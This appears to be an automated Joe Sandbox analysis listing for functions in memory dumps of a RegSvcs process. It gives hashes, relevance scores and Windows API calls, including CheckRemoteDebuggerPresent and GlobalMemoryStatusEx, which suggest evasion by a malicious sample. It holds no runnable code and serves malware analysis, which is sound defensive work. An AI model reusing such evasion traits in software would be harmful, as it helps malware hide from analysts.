Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d11f1f45b7862ba871aa641fa5b905ed3d091b2c4757c2cae6bfbca5a1140d9f
Instruction ID: 5996e929528c17caff164dab08e85c53dd798f5d1708d52a6b28f2d6bf762009
Opcode Fuzzy Hash: d11f1f45b7862ba871aa641fa5b905ed3d091b2c4757c2cae6bfbca5a1140d9f
Instruction Fuzzy Hash: A7326C34B002199FDF54DF69D890AADB7B2FB88310F148529E906E7355DB36EC42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0689B288 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a4437ad09782246ddefe99211ef9f361f40b48b7d100bb9f1d9916a65ce180a
Instruction ID: 9030878d5fe77ae99dd4ebaaca8395f3cecceea439265e408cb9517bd71588a7
Opcode Fuzzy Hash: 0a4437ad09782246ddefe99211ef9f361f40b48b7d100bb9f1d9916a65ce180a
Instruction Fuzzy Hash: CF229334E102098FEF64DB68E4907AEB7B2FB89310F68852AD505EB341DB34DC81CB61

Uniqueness

Uniqueness Score: -1.00%

Function 068930B8 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9852e57a3b1feb25f2849491eecc5d7f2e0d2044dce379161da720a129f8bdf3
Instruction ID: 797e319db2e9c4b3247be8ece40b9de91f4df06cdf0996c6296d03652e26bea1
Opcode Fuzzy Hash: 9852e57a3b1feb25f2849491eecc5d7f2e0d2044dce379161da720a129f8bdf3
Instruction Fuzzy Hash: 11324034E1071ACFDB14EB74C85069DB7B2FFC9300F64C66AD409A7264EB309985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 068979D0 Relevance: .5, Instructions: 470COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0a4e6089358259d5cc0b075e61f539f3afe469adb47b56afeb2fc2f5bb52c11
Instruction ID: 81a78dccf4bf077cb44968d497e38640216b367fac7edc9c6b2b139d8ea46f63
Opcode Fuzzy Hash: d0a4e6089358259d5cc0b075e61f539f3afe469adb47b56afeb2fc2f5bb52c11
Instruction Fuzzy Hash: 1B026B34B102198FDF54DB65D490AAEB7E2FF84314F188529D906EB394DB31ED42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02E34AC8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2638285150.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e30000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a25898847487c1b8d3ad8b9ed4b1c5666a1f67a9d56744df0522b8640a3b5cc
Instruction ID: 0f07a23cf984c12935c664d4291dcc7d13f1be160da1677ad79946da8408a42d
Opcode Fuzzy Hash: 5a25898847487c1b8d3ad8b9ed4b1c5666a1f67a9d56744df0522b8640a3b5cc
Instruction Fuzzy Hash: ECB18C70E402098FDB15CFA9C8897EDBBF2AF88319F14D529D815EB294EB759841CF81

Uniqueness

Uniqueness Score: -1.00%

Function 06873893 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06873916
GetCurrentThread.KERNEL32 ref: 06873953
GetCurrentProcess.KERNEL32 ref: 06873990
GetCurrentThreadId.KERNEL32 ref: 068739E9

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 67f3515f17bffdde10ab70ca002ced39c4aa91c75a7b8582fa62785f51b1272c
Instruction ID: a2ed851804e6148e77d09c00796849bef95237dcc9fa37853f406c5932524684
Opcode Fuzzy Hash: 67f3515f17bffdde10ab70ca002ced39c4aa91c75a7b8582fa62785f51b1272c
Instruction Fuzzy Hash: 1C5168B090174ACFDB54DFA9C948B9EBBF1BF88310F208019E109A7290DB759948CF66

Uniqueness

Uniqueness Score: -1.00%

Function 06873898 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06873916
GetCurrentThread.KERNEL32 ref: 06873953
GetCurrentProcess.KERNEL32 ref: 06873990
GetCurrentThreadId.KERNEL32 ref: 068739E9

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: c792f8a8ef0ca6f0ebaa9a3f3061080f891b56397797bcb23e8764a8fd117f62
Instruction ID: bbba8784e6ede0de972e33dcca2093cdd089cb8395e7e6f4fc12ecb090f0f7d8
Opcode Fuzzy Hash: c792f8a8ef0ca6f0ebaa9a3f3061080f891b56397797bcb23e8764a8fd117f62
Instruction Fuzzy Hash: 715168B0901349CFDB54DFAAD948B9EBBF1BF88310F208019E509A7390DB759948CF66

Uniqueness

Uniqueness Score: -1.00%

Function 0687BC98 Relevance: 1.7, APIs: 1, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0687BEFE

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 172a55ae2e57f732e1549ca04b19b7341441ea64ab7b6334df8f5ba13258dc4d
Instruction ID: c763c7d505cbb5e2c2964315f059f5d9fb3d03dd7b227e764abf067530625f0e
Opcode Fuzzy Hash: 172a55ae2e57f732e1549ca04b19b7341441ea64ab7b6334df8f5ba13258dc4d
Instruction Fuzzy Hash: 79817870A00B058FE7A4DF2AC44175ABBF2FF88304F008A2DD596DBA50DB75E849CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0687E210 Relevance: 1.7, APIs: 1, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71a1e90ffe7205ac860d17b24fb591637037a364a912118f2dff2fe6cbd89197
Instruction ID: b5e6d9ad0d054ac4d7aeb326f8f148f01ad160ad554d699da47fb0d576d55ce1
Opcode Fuzzy Hash: 71a1e90ffe7205ac860d17b24fb591637037a364a912118f2dff2fe6cbd89197
Instruction Fuzzy Hash: C25126B1C053499FDF25CFA9C884ADEBFB5BF49310F24815AE814AB221D7749845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0687E23F Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3604dc135cb9047c392332d389cf63d4ca2fab2737e25992e5364e1c750d52b
Instruction ID: 50a81481d5bd29c42b65b7eb3dfac9b21a1eaa6e197cbc07b0e4846d849c43e2
Opcode Fuzzy Hash: a3604dc135cb9047c392332d389cf63d4ca2fab2737e25992e5364e1c750d52b
Instruction Fuzzy Hash: 8651E0B1C00249EFDF15CFA9C984ADEBFB6BF48314F14816AE918AB220D7719855CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0687E290 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0687E3A2

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e90a603064c7a81491d49ae014d595731ab6a09fdde2ddf5b202058402db82db
Instruction ID: e4e82fdccdfe90524a3a0ee17cbe8900739db8a9368312037b9d993a5c1aeb70
Opcode Fuzzy Hash: e90a603064c7a81491d49ae014d595731ab6a09fdde2ddf5b202058402db82db
Instruction Fuzzy Hash: 7141B1B1D00349DFDB14CF9AC884ADEBBB5FF48314F64812AE819AB260D7759845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06CC0C70 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06CC0D31

Memory Dump Source

Source File: 00000006.00000002.2643782661.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_RegSvcs.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 3f38194fc86a5628792cb5d6723b35a820f15485c28aa014f727e2653c4f7c56
Instruction ID: b5ef6dd41f2a1468c4c1808f3252f1e8b7c5c5b1f6c69f75d00326cc1887a91b
Opcode Fuzzy Hash: 3f38194fc86a5628792cb5d6723b35a820f15485c28aa014f727e2653c4f7c56
Instruction Fuzzy Hash: 624149B4A00309CFDB54DF89C848AAABBF5FF88324F24845DD519AB321D775A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02E3F453 Relevance: 1.6, APIs: 1, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 02E3F4F7

Memory Dump Source

Source File: 00000006.00000002.2638285150.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e30000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 17c9ac6a522810494cbd02490ea142207a17d0c9376500f37cc5a46708b792ac
Instruction ID: ef297252bb2120b4134853eb324d9141727c01403ecc34b86c97c9cac08f64ae
Opcode Fuzzy Hash: 17c9ac6a522810494cbd02490ea142207a17d0c9376500f37cc5a46708b792ac
Instruction Fuzzy Hash: 3E21AE71C0425A8FDB10DFA9D8447DEFBF0AF48220F15855AD458A7780D7789945CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 02E37EC9 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 02E37F47

Memory Dump Source

Source File: 00000006.00000002.2638285150.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e30000_RegSvcs.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: daa3a3cd25f0d19686344664ef51d80fd5dae25eb495a5e980c5c6be384e1079
Instruction ID: c6493f8f484b8f045e5b4797326d0e7f23deead526914ad555361dd035455328
Opcode Fuzzy Hash: daa3a3cd25f0d19686344664ef51d80fd5dae25eb495a5e980c5c6be384e1079
Instruction Fuzzy Hash: B32148B2801259CFDB10DF9AD884BEEFBF4BF49220F14845AE459A3350D778A944CF60

Uniqueness

Uniqueness Score: -1.00%

Function 06873AD8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06873B67

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a0a62dbc1b3861f7b29dc48cac0cca100f6f2d044cd3c456069c50606e668352
Instruction ID: 319e85ef5c2d493618d9b44e085509b0fb639b261f55d0220437c2dbd49c2cf7
Opcode Fuzzy Hash: a0a62dbc1b3861f7b29dc48cac0cca100f6f2d044cd3c456069c50606e668352
Instruction Fuzzy Hash: 3D21E4B5D00349AFDB10CFAAD884ADEBBF9FB48310F14801AE914A7350D374A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06873AE0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06873B67

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5e1bd065a708d543e12093b61138a7d3b6a6ae56e6bea3d3e883e8db0dc723a3
Instruction ID: 374e4e85d644ce9da9da99503c8dadc0c1a1b9a31c8e3da394312f10b7e59593
Opcode Fuzzy Hash: 5e1bd065a708d543e12093b61138a7d3b6a6ae56e6bea3d3e883e8db0dc723a3
Instruction Fuzzy Hash: 4321E4B59002499FDB10CFAAD884ADEBBF8FB48310F14801AE914A3350D374A944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0687C0FB Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0687BF79,00000800,00000000,00000000), ref: 0687C16A

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9db6043cf963e41ea6f7ddb1d86b2ab16257cb1f9efbdb475ed60f99d9930690
Instruction ID: 5092757d0acb2170886f44cbe2397516f02e40692874cb4a9509a4ce639e588b
Opcode Fuzzy Hash: 9db6043cf963e41ea6f7ddb1d86b2ab16257cb1f9efbdb475ed60f99d9930690
Instruction Fuzzy Hash: B91156B6C003499FDB20CFAAC844BDEFBF8AB89710F10802EE518A7600C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0687AC40 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0687BF79,00000800,00000000,00000000), ref: 0687C16A

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4855a318c6cc5498772cc847696fcea60094e362002bea429d0352281473ae45
Instruction ID: c68286a03ec497742069a22cd81f756d11bc9fa26bc19b8d0f886fc68a8d46dd
Opcode Fuzzy Hash: 4855a318c6cc5498772cc847696fcea60094e362002bea429d0352281473ae45
Instruction Fuzzy Hash: 2D11E4B6D043499FDB10DF9AC844B9EFBF4EB88710F10842EE519A7600C775A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02E3F490 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 02E3F4F7

Memory Dump Source

Source File: 00000006.00000002.2638285150.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e30000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: ec370a15b6dd4bca710c3c766a4017af0110eade174365c73e8ac15c28d56ae8
Instruction ID: 7a2d0eae2e8f7c06a567bb14d87c8c09216ce45dec23ee511b89f00c8b7077ba
Opcode Fuzzy Hash: ec370a15b6dd4bca710c3c766a4017af0110eade174365c73e8ac15c28d56ae8
Instruction Fuzzy Hash: 3A1137B1C0065A9FDB10DF9AC444BDEFBF4BF48720F11816AD418A7640D778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0687BE98 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0687BEFE

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3940cb4e89df3d7d9f9561fb10d8e736cb99d42a01f15de2f4881f7332ffe965
Instruction ID: 17954e911fabfd44b8b5f2b0ca3121d4e3c1711fe944e4e4576740b5a026da27
Opcode Fuzzy Hash: 3940cb4e89df3d7d9f9561fb10d8e736cb99d42a01f15de2f4881f7332ffe965
Instruction Fuzzy Hash: BD1110B6C003498FDB20DF9AC844BDEFBF5AB88724F10841AD528A7610D3B9A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06CC22E0 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06CC320D

Memory Dump Source

Source File: 00000006.00000002.2643782661.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_RegSvcs.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 162086549008fb200bb4a4f3895cc517613c40383ef72d9b0725df9acaecd021
Instruction ID: 74e58c29ae59f80e1332e56c7fa9c7ccaf651283da5878f3d1cfc4c81d6382a6
Opcode Fuzzy Hash: 162086549008fb200bb4a4f3895cc517613c40383ef72d9b0725df9acaecd021
Instruction Fuzzy Hash: EA1115B58047498FDB20DF9AD448B9EFBF4EB48224F208419D519A7210D379A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06CC31B0 Relevance: 1.5, APIs: 1, Instructions: 42comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06CC320D

Memory Dump Source

Source File: 00000006.00000002.2643782661.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_RegSvcs.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: cc43632a9f7a996f52f8f392f23e16e2edd664211a2cef4b1e52c6beeba9079c
Instruction ID: 323d01bacdeb2fe298c74231f0a3f621c24b53e9b5d6dc7b57d5f70695322abc
Opcode Fuzzy Hash: cc43632a9f7a996f52f8f392f23e16e2edd664211a2cef4b1e52c6beeba9079c
Instruction Fuzzy Hash: 811145B5C003498FDB20DF9AD4447CEFBF4BB48320F20851AD529A7240C378A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0689CFA8 Relevance: .8, Instructions: 795COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 964b931f7dcc87a9dc99622cdba82ce5ea4782b0e7a641f27e5abb17794bba93
Instruction ID: 670bc849de9e07cc191ad2ce2b4693a4648ac080d07b648988b49057c85a183d
Opcode Fuzzy Hash: 964b931f7dcc87a9dc99622cdba82ce5ea4782b0e7a641f27e5abb17794bba93
Instruction Fuzzy Hash: 2D625A30A0071ACFCF54EB68D990A9DB7B2FF84310F248A28D4059B359EB71EC46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0689B6B0 Relevance: .5, Instructions: 465COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d5a5785a34e80e85effedbea1023464f040d24b2a89aa291a8ffad3f3aca6f
Instruction ID: 339753ea9070b5f33a0013ec9dd1423b939c1617cefbae85a722bf50a57e85ab
Opcode Fuzzy Hash: b6d5a5785a34e80e85effedbea1023464f040d24b2a89aa291a8ffad3f3aca6f
Instruction Fuzzy Hash: 10025E30E1020A8FDFA4DB68E4807AEB7B2FB85314F28852AD515EB351DB35DD45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0689ADAC Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3bc74b00a20b1b5511a4a2dc5221d06a0258f174dc783fad5e0d915925e199d
Instruction ID: 3b29e905a05037e3bf75f9a16f59dee541cc0f9ac720abc791572620bf064480
Opcode Fuzzy Hash: b3bc74b00a20b1b5511a4a2dc5221d06a0258f174dc783fad5e0d915925e199d
Instruction Fuzzy Hash: 3CD1AD30E003098FDF69DBA9D4906AEB7B2FF85305F248529D906EB344DB319946CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06898678 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab88bfcb7d585b7d2199e257d46b384e8fd0d8ebe64483433835a5bdf989bf60
Instruction ID: 1199a6fe88e2aadeefb7245910c2c9c930b2b9abe546d6422e38ec969e6a3e95
Opcode Fuzzy Hash: ab88bfcb7d585b7d2199e257d46b384e8fd0d8ebe64483433835a5bdf989bf60
Instruction Fuzzy Hash: F3A17C74B0021A8FDB55EF75C850B6EB7B2FF89200F1085A9D909EB394DB319D85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06898DA8 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaa9b8e5c0755e79fd928461c10bce8a72b2eca21b78d157720904841340a9ba
Instruction ID: 1a78b02282fa6201aa9b668339297d796b132b8d0dc240171a1391f9fd3adf5f
Opcode Fuzzy Hash: eaa9b8e5c0755e79fd928461c10bce8a72b2eca21b78d157720904841340a9ba
Instruction Fuzzy Hash: B4916030B1021A8FDF95DF65D8607AEB7B6BFD5200F148569D90AEB344EB319D41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06895E40 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e39fb877d94f6183658609158025685cb557422e0ec545e6b98637df6d6d8f62
Instruction ID: e609d3788ee16fe6c4008fbe14cccb59bdbb67b91671cb07139d2d8d20c13e95
Opcode Fuzzy Hash: e39fb877d94f6183658609158025685cb557422e0ec545e6b98637df6d6d8f62
Instruction Fuzzy Hash: A3611971F001214BDF51AA7EC88055EBADBEFC4210B18443AD90ADB3A0DE66EC4287D6

Uniqueness

Uniqueness Score: -1.00%

Function 06893EF0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5375e93476521a5411c94a8f9b1caf9f23c032515c8366da38aeb26908097f61
Instruction ID: 72c943b7d2d4aa38514910a390d5596b52067755a51dce9a127e0bb6de5abaf2
Opcode Fuzzy Hash: 5375e93476521a5411c94a8f9b1caf9f23c032515c8366da38aeb26908097f61
Instruction Fuzzy Hash: 87816134B0020A8FDF94DFA9D45076EBBF6AF99300F148529D90AEB354EB35DC468B91

Uniqueness

Uniqueness Score: -1.00%

Function 06894210 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c639dccef85b7d6335aa33b1606252e9b1e4f51d55eba7f120d429ab766de66
Instruction ID: 2b8e9bf70411653a761a434f1a3948fb9a84b3f99e890c5da6228c1291289de6
Opcode Fuzzy Hash: 5c639dccef85b7d6335aa33b1606252e9b1e4f51d55eba7f120d429ab766de66
Instruction Fuzzy Hash: C3912C30E102198FDF60DF64C850B9DB7B1FF89310F208699D549EB295DB71AA86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06894228 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 414137d0dd13c0926a81270dd36f2da76385bf7bf0ef6b0b8a239804435a2e8b
Instruction ID: 787e22fc0dd929cb5f4132afdd22066819f2a0580c529bfa81382fb37b606eda
Opcode Fuzzy Hash: 414137d0dd13c0926a81270dd36f2da76385bf7bf0ef6b0b8a239804435a2e8b
Instruction Fuzzy Hash: 69911C30E106198BDF60DFA4C880B9DB7B1FF89310F208699D549FB255DB71AA86CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0689EB70 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63d14e04bb3c915d757716d21fe0a8fe0105c348685d98422cf3df3394f4a936
Instruction ID: 752c312df29b787f87d9140a8641a051fff9134f2dec9e3e7d8e7faffb43853b
Opcode Fuzzy Hash: 63d14e04bb3c915d757716d21fe0a8fe0105c348685d98422cf3df3394f4a936
Instruction Fuzzy Hash: FB713B30A002099FDF55DBA9C984AADBBF6FF84300F288529E446EB354DB30E946CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0689EB80 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
